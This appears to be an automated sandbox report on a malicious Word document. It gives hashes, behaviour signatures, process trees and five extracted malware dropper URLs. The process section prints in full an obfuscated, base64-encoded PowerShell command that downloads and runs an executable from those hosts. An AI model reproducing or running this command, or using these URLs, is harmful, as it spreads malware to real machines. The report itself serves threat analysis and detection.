Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    02-06-2024 09:20

General

  • Target

    6063988121-Apr_30_2019.doc

  • Size

    154KB

  • MD5

    07908d15d9d9aedc11fb101decfe4ec5

  • SHA1

    96337dd8dac44496321a9b7b1d919a3c0587ea63

  • SHA256

    14bb13a0418e556082607e6372bff208155f5e9b44f8bb6f3f494b9e1ea5f663

  • SHA512

    9625e8449ff544de2cce9cafa7c22715526cbd153d79b276d54229a45b2eb7759975964c1282f4e7bf2b22e4ce4e5ae7c00abef600ad35a8f3d04f6e2a320866

  • SSDEEP

    3072:cUTTYBPAUvvxk/1Zlsc8dN+L9AiOChZzcYk:cUXYB3vvxk9rsDdAGiOChZzTk

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://beysel.com/XaaK-IZWqrsbyAmxS9X_yHrjsjhEj-a3/tQsCK/

exe.dropper

http://labersa.com/hotel/9JDk2/

exe.dropper

http://phikunprogramming.com/bs/page/css/LoKS/

exe.dropper

http://brikee.com/contact/SGe/

exe.dropper

http://terebi.com/best/i404/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6063988121-Apr_30_2019.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABRAEEAQQBBAFUAVQBDAD0AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACAAJwBHAEcAJwAsACcAQQBDACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBBAEMAJwAsACcAawBaACcAKQApADsAJAByAEcAQQBYAEEAQQBBAG8AIAA9ACAAJwA2ADAANAAnADsAJABDAEIAVQB3AHgANABBAD0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAWABBACcALAAnAEcAQgAnACkALAAnAFEAJwApACwAJwBvACcALAAnAHgAYwAnACkAOwAkAHYAVQBfAG8AYwAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAByAEcAQQBYAEEAQQBBAG8AKwAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGUAeABlACcALAAnAC4AJwApADsAJABuAEMAMQBCAEMAMQA9ACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAgACcAQgAnACwAJwBXAEEAJwAsACcAWABEAHgAJwApADsAJAB6AEEAQQBrAEIAQgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgBgAFcAZQBCAGAAQwBsAEkAYABlAG4AdAA7ACQAUwBBAGsAXwBBAEIAQQA9ACgAIgB7ADEANQB9AHsAMwA5AH0AewAyADEAfQB7ADEAMQB9AHsANAA0AH0AewA0ADMAfQB7ADIANwB9AHsAMQA4AH0AewAyADQAfQB7ADQANQB9AHsAMwAxAH0AewA0ADYAfQB7ADMAOAB9AHsAMQAyAH0AewAzADUAfQB7ADIANQB9AHsAMgAzAH0AewAxADkAfQB7ADQAfQB7ADQAMAB9AHsANAA5AH0AewA0ADcAfQB7ADEAfQB7ADQAOAB9AHsANwB9AHsAOAB9AHsAMQA3AH0AewAxADMAfQB7ADMANgB9AHsAMwA3AH0AewA1AH0AewAzADMAfQB7ADMAfQB7ADQAMQB9AHsANgB9AHsAMgB9AHsAMAB9AHsAOQB9AHsAMgA5AH0AewAxADYAfQB7ADMAMgB9AHsAMgAwAH0AewAyADIAfQB7ADQAMgB9AHsAMQAwAH0AewAyADgAfQB7ADMAMAB9AHsAMgA2AH0AewAxADQAfQB7ADMANAB9ACIAIAAtAGYAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAHMAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAC8ATABvACcALAAnAEsAUwAnACkAKQAsACcAawAyAC8AJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiAC0AZgAgACcAcAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGEAJwAsACcAZwBlAC8AYwBzACcAKQAsACcALwAnACkALAAnAC4AJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBlAHIAJwAsACcAcwBhACcAKQAsACcALgAnACkALAAnAG0AbQAnACwAJwBiAHMAJwAsACcAOgAnACwAJwAvACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAEAAaAB0ACcALAAnAC8AJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwByAGUAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAGUAJwAsACcALwAvAHQAJwApACkALAAnAC0ASQBaACcALAAnAHQAcAAnACwAJwBnACcALAAnADAANAAnACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBwACcALAAnAGgAdAB0ACcAKQAsACcALwBiACcALAAnADoALwAnACkALAAnAGEAYwAnACwAKAAiAHsAMwB9AHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBwAGgAaQAnACwAJwBrAHUAbgBwACcAKQAsACcAbwAnACwAJwByACcALAAnAC8AJwApACwAJwBTADkAWAAnACwAJwBiACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC8AUwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAZQAvAEAAJwAsACcARwAnACkAKQAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBtAC8AJwAsACcAWABhACcALAAnAGMAbwAnACkALAAnAEsAJwAsACcAYQAnACkALAAnAGgAJwAsACcAYQAnACwAJwBfAHkASAAnACwAJwAvAC8AbAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGIAJwAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAC8AaQAnACwAJwBlAHMAdAAnACwAJwA0ACcAKQApACwAJwB4ACcALAAnAGIAaQAuACcALAAoACIAewA0AH0AewAwAH0AewAxAH0AewAzAH0AewAyAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBrAGUAZQAnACwAJwBiAHIAaQAnACkALAAnAC4AYwAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0ACcALAAnAC8AYwBvAG4AJwApACwAJwBvAG0AJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAHQAcAA6AC8AJwAsACcALwAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwBvAG0AJwAsACcALwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAGoALQBhACcALAAnADMAJwApACwAJwB0ACcALAAnAGkAbgBnACcALAAnAC8AJwAsACcAOgAnACwAJwByACcALAAnAGEAJwAsACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAEAAaAB0ACcALAAnAC8AJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAUQAnACwAJwBzAEMASwAnACkAKQAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAgACcAcwAnACwAJwBlAHkAJwAsACcAZQBsAC4AJwApACwAJwBjAG8AbQAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwAvACcALAAnAGMAbwBtACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHAAOgAnACwAJwB0AHQAJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAJwByACcALAAnAEEAbQAnACwAJwBzAGIAeQAnACkALAAnAFcAcQAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAcgBqAHMAJwAsACcAagAnACkALAAnAGgARQAnACkALAAnAC8AdAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAvADkASgAnACwAJwBEACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAQAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAdAB0AHAAJwAsACcAaAAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHQAZQAnACwAJwAvAGgAbwAnACkALAAnAGwAJwApACkALgAiAHMAYABwAGwAaQB0ACIAKAAnAEAAJwApADsAJABZAEEAQwBBAEEAMQBHAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAWgAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBBAEQAQQAnACwAJwBBACcAKQAsACcAaQB4ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABpAEEAQQBRAEIAQQBBACAAaQBuACAAJABTAEEAawBfAEEAQgBBACkAewB0AHIAeQB7ACQAegBBAEEAawBCAEIALgAiAGQAbwBgAFcATgBMAE8AQQBEAGAARgBgAEkATABlACIAKAAkAGkAQQBBAFEAQgBBAEEALAAgACQAdgBVAF8AbwBjADEAKQA7ACQAYgBBADEAXwBDAEEAPQAoACIAewAxAH0AewAwAH0AewAyAH0AIgAtAGYAJwBRAEcAJwAsACcAQgAnACwAJwBaAEEAMQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAdgBVAF8AbwBjADEAKQAuACIATABlAGAATgBnAFQASAAiACAALQBnAGUAIAAzADUANgAwADEAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAdgBVAF8AbwBjADEAOwAkAEMAQQBRAF8AQQBCAD0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIAIAAtAGYAJwBPACcALAAnAEEAQgBEACcALAAnAEQAUQA0ACcAKQA7AGIAcgBlAGEAawA7ACQAegBHAFgAQQB4AGsARAA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAwAH0AewAxAH0AIgAtAGYAJwB3ACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBBAEQAWABjACcALAAnAFEAJwApACkALAAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAFEAQQAxAFgAQQBBAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAZgBBACcALAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAnAEEAMQAnACwAJwBHAHgAJwAsACcARABBACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2096

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      aeb9b035f7928f60018db937909b46a4

      SHA1

      0cba744f81c2305ed58e1b610bd4ae93af106ae5

      SHA256

      9441efc179cd76e0d5734073adc0e59ec5c5c8fe9c0573b8b8db4768934d039a

      SHA512

      bbb4820e6c661a3cb071ce2a8d83a26aff257d2e3c5dffafb2614b660c1403b3c8fa6c86e24a92db7d9f0885c104a4505206b0ef4c3bd4d8781903b6840fb1aa

    • memory/2096-23-0x000000001B600000-0x000000001B8E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2096-24-0x0000000002710000-0x0000000002718000-memory.dmp

      Filesize

      32KB

    • memory/2424-13-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2424-29-0x0000000070D8D000-0x0000000070D98000-memory.dmp

      Filesize

      44KB

    • memory/2424-12-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2424-14-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2424-17-0x00000000058D0000-0x00000000059D0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-9-0x00000000058D0000-0x00000000059D0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-2-0x0000000070D8D000-0x0000000070D98000-memory.dmp

      Filesize

      44KB

    • memory/2424-0-0x000000002F821000-0x000000002F822000-memory.dmp

      Filesize

      4KB

    • memory/2424-30-0x00000000058D0000-0x00000000059D0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-31-0x0000000006EB0000-0x0000000006FB0000-memory.dmp

      Filesize

      1024KB

    • memory/2424-32-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB

    • memory/2424-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2424-49-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2424-50-0x0000000070D8D000-0x0000000070D98000-memory.dmp

      Filesize

      44KB

    • memory/2424-51-0x0000000000440000-0x0000000000540000-memory.dmp

      Filesize

      1024KB